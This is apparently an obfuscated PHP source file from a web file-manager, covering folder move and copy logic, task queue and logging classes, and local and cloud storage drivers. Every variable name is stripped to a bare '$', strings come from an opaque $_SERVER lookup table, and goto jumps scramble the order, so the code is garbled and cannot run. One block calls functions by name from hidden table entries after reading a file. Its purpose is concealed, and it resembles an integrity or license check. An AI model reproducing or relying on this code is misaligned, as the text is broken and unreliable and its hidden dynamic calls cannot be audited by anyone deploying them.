$[420] => Pinyin::get($, $[626])); } $[$[600]][] = array($[183] => $, $[96] => $[487], $[420] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[627]; $ = array($[555] => array($[582], $[$[555]] . $ . $[583]), $[475] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[183]); foreach ($ as $) { $ = $[$[182]]; $ = $[$[183]]; if (!isset($this->_childrenListCache[$]) && $[$[455]] == $[90]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($, &$) { $ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $[$] = $; if ($[$[455]] == $[90]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[182] => $, $[475] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $[183]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$] = $; } return $; } private function fileNameExistAuto($, $) { $ =& $_SERVER[]; if ($[$[475]] == $[90]) { return $this->fileNameExist($, $[$[32]]); } return $this->fileNameExistCache($, $[$[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $) { if ($ == strtolower($[$[32]])) { return $[$[183]]; } } return !1; } private function fileNameAutoCache($, $, $, $) { $ =& $_SERVER[]; $ = $this->_childrenList($); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[182]] == $[$[183]]) { if ($[$[475]] == $[90]) { Model($[473])->restore(array($)); } if (!$ || $ == $[$[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$ || $[$[455]] != $[90]) { return !1; } Hook::trigger($[628], $); $this->targetIsDelete = intval($[$[475]]); if ($[$[182]] == $ && $ != $[$[32]]) { $ = $this->fileNameExist($, $); if ($ && $[$[455]] == $[214]) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if (!$) { Model($[514])->remove($[$[511]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($[629], $); return $; } } $ = $ ? $ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($[599] => array(), $[630] => !1); $this->clearShare($, $); $ = $this->fileNameExistAuto($, $); $ = $this->_move($, $, $, $, $); $this->sourceCacheClear(); if ($[$[455]] == $[90] && $) { $this->folderSizeResetChildren($); } Model($[216])->linkAdd($[$[599]]); if ($ && $[$[630]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$[182]]); $this->folderSizeReset($); $ = array($[$[182]], $); if ($[$[455]] == $[90]) { $[] = $; } $this->updateModifyTime($); Model($[603])->eventMove($, $[$[182]], $); Hook::trigger($[629], $); return $; } private function _move($, $, $, &$, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[$[455]] == $[90]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($, $, $); } $ = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($); foreach ($ as $) { $this->_move($[$[183]], $, $, $); } $ = !0; } } else { if ($ == REPEAT_SKIP) { $ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); $ = !0; if ($) { $[$[599]][] = $[$[511]]; } } } } } if ($ && !$[$[630]]) { $[$[630]] = !0; } return $; } private function _moveForce($, $, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[455]] == $[90]; $ = array($[447] => $[$[183]], $[622] => $[$[555]] . $[$[183]] . $[50], $[618] => $[$[180]], $[619] => $[$[540]], $[621] => USER_ID, $[464] => $); $ = $[$[180]] == SourceModel::TYPE_GROUP && $[$[180]] == SourceModel::TYPE_GROUP && $[$[540]] == $[$[540]]; if (!$ && $this->moveClearAuth) { Model($[538])->authClear($); } $ = $[$[475]] == $[90] && $[$[475]] != $[90]; if ($) { $[$[474]] = 0; } if ($) { $ = array($[622] => array($[582], $[$[555]] . $[$[183]] . $[583])); $ = $[$[555]] . $[$[183]] . $[50]; $ = $[$[555]] . $[$[183]] . $[50] . $[$[183]] . $[50]; $ = array($[622] => array($[631], "replace(parentLevel,'{$}','{$}')"), $[618] => $[$[180]], $[619] => $[$[540]]); if ($) { $[$[474]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[461] => $))->data($)->save(); return $; } private function clearShare($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[540]] == $[$[540]] && $[$[180]] == $[632]) { return; } $ = array($[555] => array($[582], $[$[555]] . $ . $[583])); $ = $this->field($[461])->where($)->getField($[183], !0); if (!$) { return; } $ = array($[183] => array($[7], $), $[633] => 1); $ = Model($[634])->field($[635])->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[635]); $ = array($[635] => array($[7], $)); Model($[634])->where($)->save(array($[633] => 0)); Model($[636])->where($)->delete(); } public function copyFolderFromIO($, $, $, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[600] => array(), $[601] => array(), $[599] => array(), $[637] => array()); $ = $ ? $ : $->pathThis($); $ = $this->fileNameExist($, $); $ = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[638]); $this->_copyChildTo($, $, $, $, $, $); Hook::trigger($[639]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[602])->addAll($[$[600]], array(), !0); Model($[603])->eventCopy($); $this->saveAll($[$[601]]); Model($[514])->linkAdd($[$[599]]); Model($[514])->remove($[$[637]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $, $, $, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $->listPath($); $ = $ ? $ : array($[85] => array(), $[84] => array()); $ = array_merge($[$[85]], $[$[84]]); $ = $this->_addFiles($, $[$[85]], $); $ = array(); foreach ($ as &$) { if (isset($[$[$[32]]])) { $ = $[$[$[32]]]; } $[$[455]] = $[$[33]] == $[77]; $[$[456]] = substr(_get($, $[177], $[12]), 0, 10); $[$[78]] = _get($, $[78], 0); $[$[511]] = _get($, $[511], 0); if (!isset($[$[640]]) && $[$[511]]) { $[$[637]][] = $[$[511]]; } if ($) { $ = $this->fileNameExistCache($, $[$[32]]); if ($) { if ($[$[455]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if ($) { $[$[599]][] = $[$[511]]; } continue; } else { if ($ == REPEAT_RENAME) { $[$[32]] = $this->fileNameAutoCache($, $[$[32]], $, !1); } } } } if (!$[$[455]] && $[$[511]] == 0) { continue; } if (!$[$[455]] && $[$[511]]) { $[$[599]][] = $[$[511]]; } $[] = $this->_makeItemData($, $, $[$[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { $ = $[$[$[32]]]; $ = $[$[183]]; $this->_copyApplyMeta($, $); if ($[$[33]] == $[77]) { $[$[86]] = $->getPathInner($[$[86]]); $this->_copyChildTo($, $[$[86]], $, $, $, $); } } } private function _addFiles($, $, $) { $ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$) { Hook::trigger($[641], $); $[$[86]] = $->getPathInner($[$[86]]); $ = $->hashSimple($[$[86]]); $ = $->hashMd5($[$[86]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $[$[642]] = $; $[$[517]] = $; $[$][] =& $; if (count($[$]) > 1) { $[$[640]] = !0; } Hook::trigger($[643], $); } unset($); $ = array($[517] => array($[7], array_keys($))); $ = Model($[644]); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[517]]])) { continue; } $ = $[$[$[517]]]; foreach ($ as &$) { $[$[511]] = $[$[511]]; $[$[640]] = !0; } unset($); } $ = array(); foreach ($ as $) { Hook::trigger($[645], $); if (isset($[$[640]]) && $[$[640]]) { Hook::trigger($[646], $); continue; } $ = $->getPathInner($[$[86]]); $ = $->addFileMake($, $[$[78]], $[$[642]], $[$[517]], $[$[32]], $); Hook::trigger($[646], $); if (!is_array($)) { continue; } $[] = $; } $->addAll($); $ = array($[517] => array($[7], array_keys($))); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[517]]])) { continue; } $ =& $[$[$[517]]]; foreach ($ as &$) { $[$[511]] = $[$[511]]; } unset($); } $ = array(); foreach ($ as $) { $[$[$[32]]] = $; } return $; } } goto A; D: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[][3]] = ("8295"."18")+0;$_bdi6="quemzivyc2okd0fps6x4b5wjnalthr3817g9g5zqsojfir0kvt3byw491u682cdemnap7xhle460fs";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static function __callStatic($, $) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $); } else { show_json("{$}() not exist;", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto d; F: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1783]] = 1; Hook::bind($[1750], array($this, $[1784])); Hook::bind($[1752], array($this, $[1785])); Hook::bind($[1754], array($this, $[1786])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1750], array($this, $[1784])); Hook::unbind($[1752], array($this, $[1785])); Hook::unbind($[1754], array($this, $[1786])); } public function progressStart($) { $ =& $_SERVER[]; $ = curl_getinfo($); self::log($[1787] . $[$[353]]); self::valueSet($this->task[$[445]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1788] . $this->task[$[445]]); $this->end(); } public function progress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[831]] = $[$[831]] == 0 ? $ : $[$[831]]; $[$[1706]] = $; } else { if ($ > 0) { $[$[831]] = $[$[831]] == 0 ? $ : $[$[831]]; $[$[1706]] = $; } } $this->update(); self::log("progressHttp:down:{$}/{$}; upload:{$}/{$};"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : ($ ? $ : $); $ = new Task($, $, $, $); $GLOBALS[$[1789] . $] = new TaskLog($[1689], $, $); return $; } public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; if (!$) { $ = $[1689]; } $ = $ . $[432] . rand_string(10); if (!$) { $ = $ . $[53] . $; } switch ($) { case $[1689]: if (!$ || !$->task) { return echoLog($ . $[1790]); } $ = $; $ = $->task[$[445]]; $ = $->task[$[445]]; if (!$->task[$[1593]]) { $->task[$[1593]] = $ ? $ : $; } break; case $[1791]: if (!$) { return echoLog($ . $[1792]); } $ = is_string($) ? array($) : $; $ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[359]: if (!$) { return echoLog($ . $[1792]); } $ = is_string($) ? array($) : $; $ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[1265]: if (!$) { return echoLog($ . $[1792]); } $ = new TaskUnZip($, $, 0, $ ? $ : $); if ($) { $->addFile($); } break; case $[151]: $ = new TaskHttp($, $); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1726], array($this, $[1793])); Hook::bind($[1728], array($this, $[1794])); Hook::bind($[1722], array($this, $[1795])); echoLog($[1796] . $->task[$[1593]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1726], array($this, $[1793])); Hook::unbind($[1728], array($this, $[1794])); Hook::unbind($[1722], array($this, $[1795])); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[445]]) { return; } $ = 20; $ = intval($[$[1707]] * $); $ = $[165] . str_repeat($[935], $) . $[1065] . str_repeat($[53], $ - $) . $[167]; $ = $ . sprintf($[1797], $[$[1707]] * 100) . $[1798]; $ = $ . $[$[1706]] . $[8] . $[$[831]] . LNG($[1799]); $ = $[12]; if ($[$[1783]]) { $ = $ . size_format($[$[1706]]) . $[8] . size_format($[$[831]]); $ = size_format($[$[1708]]) . $[1800]; } if ($[$[1115]]) { $[$[1756]] = $[$[1115]] . $[53] . $[$[1756]]; } if ($[$[1756]]) { $ = $[12]; if ($[$[1758]]) { $ = $[50] . size_format($[$[1759]]) . $[8] . size_format($[$[1758]]); } $ .= $[$[1756]] . $; } if ($[$[808]] && !$[$[1758]]) { $ .= $[53] . size_format($[$[1763]]) . $[8] . size_format($[$[808]]); } echoLog($ . $[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[445]]) { return; } $ = $ ? $[$[1706]] . $[8] . $[$[831]] . LNG($[1799]) . $[73] : $[12]; echoLog($[1801] . $[$[1593]] . ($[$[496]] ? $[73] . $[$[496]] : $[12]) . $[73] . $ . $[1802] . sprintf($[896], timeFloat() - $[$[1709]]) . $[1721]); $this->end(); } public function taskKill($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[445]]) { return; } echoLog($[1803] . $[$[1593]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "taskQueueLength"; const QUEUE_DATA = "taskQueueData"; const QUEUE_TIME = "taskQueueLastRun"; const QUEUE_THREAD = "taskQueueThread"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[96], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[96], $)) { return !0; } self::$listDataAdd[] = array($[310] => $, $[1804] => $, $[496] => $, $[96] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1805] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[496])), $[187]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[96], $)) { return !0; } $[] = array($[310] => $, $[1804] => $, $[496] => $, $[96] => $); self::setAll($); write_log($[1805] . $, $[187]); return !0; } public static function run() { $ =& $_SERVER[]; $ = self::getAll(); $ = array_shift($); if (!$) { return !1; } self::setAll($); $ = timeFloat(); $ = $[12]; try { $ = Hook::apply($[$[310]], $[$[1804]]); } catch (Exception $) { write_log($, $[1233]); } $ = number_format(timeFloat() - $, 3) . $[1721]; if ($ && is_string($)) { $ = $ . $[1806] . $; } write_log($[1807] . $[$[496]] . $[1808] . $, $[187]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($[1809] . $, $[187]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1810], $[187]); } public static function getKey($, $ = "int") { $ =& $_SERVER[]; Cache::removeMemory($); $ = Cache::get($); if ($ == $[334]) { return $ ? intval($) : 0; } if ($ == $[1811]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1811]); } public static function setAll($) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $); Cache::set(self::QUEUE_DATA, $, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } goto F; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1405]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1403]], $config[$[1402]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1402]], $config[$[1403]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1405]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1405]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); return is_file($) ? $this->getPathOuter($) : !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); return is_dir($) ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intval(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function movePath($, $, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = intval(@rename($, $)); $ = file_exists($); return $ ? $this->getPathOuter($) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @rename($, $); $ = $this->iconvApp($); return $ ? $this->getPathOuter($) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ = true) { $ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; if (is_file($) || is_link($)) { $[$[79]]++; $[$[78]] += filesize_64($); } else { if (is_dir($)) { $[$[80]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[77]); } $ = array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[77], $[217] => @filectime($), $[87] => @filemtime($), $[1414] => @fileatime($), $[1415] => is_readable($), $[1416] => is_writable($), $[1417] => get_mode($)); return $; } private function fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[216], $[78] => $this->size($), $[177] => $this->ext($)); } $ = array($[32] => $, $[86] => $this->getPathOuter($), $[33] => $[216], $[217] => @filectime($), $[87] => @filemtime($), $[1414] => @fileatime($), $[78] => $this->size($), $[177] => $this->ext($), $[1415] => is_readable($), $[1416] => is_writable($), $[1417] => get_mode($)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; $ = array($[84] => array(), $[85] => array()); if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; if (is_file($)) { $[$[85]][] = $this->fileInfo($, $); } else { $[$[84]][] = $this->folderInfo($, $); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[86] => $, $[77] => $, $[87] => intval(@filemtime($)), $[78] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1329]) { continue; } $ = $ . $; if ($) { $++; if (@is_file($)) { $++; } else { $++; } if ($ > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { return array($[225] => $, $[226] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $ = $[12]; $ = intval($ / $); $ = fopen($, $[1418]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $ * $); $ .= fread($, $); } fseek_64($, $ - $); $ .= fread($, $); fclose($); return md5($) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if ($ === !1) { $ = $this->size($); } if ($ <= 0) { return $[12]; } $ = fopen($, $[1418]); if (!$) { return !1; } fseek_64($, $); $ = fread($, $); fclose($); return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array($[1419] => $[1420] . $ . $[1421]); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } goto A; F: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $, $ = 5.0) { $ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1812]; $ = Cache::get($, !0); $ = array($[1813] => timeFloat(), $[1814] => timeFloat(), $[310] => $, $[1804] => $, $[196] => $); if (is_array($[$])) { $[$[1814]] = $[$][$[1814]]; } if (is_array($[$])) { if (timeFloat() - $[$][$[1813]] < $[$[196]] * 0.3) { return; } $[$[1814]] = $[$][$[1814]]; } $[$] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1815] . $ . $[73] . $, $[187]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1816]); $ = in_array(strtolower(ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ = $[1812]; $ = Cache::get($, !0); if (!$ || count($) <= 0) { return; } $ = !1; $ = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($ - $[$[1814]] > $[$[196]]) { $ = !0; try { Hook::apply($[$[310]], $[$[1804]]); write_log($[1817] . $ . $[73] . $[$[310]] . $[1818] . ACTION, $[187]); } catch (Exception $) { } continue; } $[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($, $) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[310] => $, $[1804] => $); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[310]], $[$[1804]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } if ($_SERVER[$_SERVER[][922]] != $_SERVER[$_SERVER[][1782]]) { $_getc = $_SERVER[][925]; $_getfile = $_SERVER[$_SERVER[][926]] . $_SERVER[][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][248], $_getfilec); if (count($_getarrs) < $_SERVER[][692]) { $exit = $_SERVER[][928]; $exit(); } $_act = $_SERVER[][932]; $_act($_SERVER[$_SERVER[][923]]); } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1819], array($this, $[1820])); Hook::bind($[1244], array($this, $[1821])); Hook::bind($[1822], array($this, $[1823])); $ =& $this->task; $[$[1824]] = $[1245]; if (!$[$[1593]]) { $[$[1593]] = LNG($[1825]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1819], array($this, $[1820])); Hook::unbind($[1244], array($this, $[1821])); Hook::unbind($[1822], array($this, $[1823])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[831]] || !$[$[808]]) { if ($[$[1824]] != $[359]) { return; } } if ($[$[1824]] == $[1245]) { $ = 0; if ($[$[1758]]) { $ = $[$[1759]] / $[$[1758]]; } $[$[1707]] = $ * 0.3; } else { if 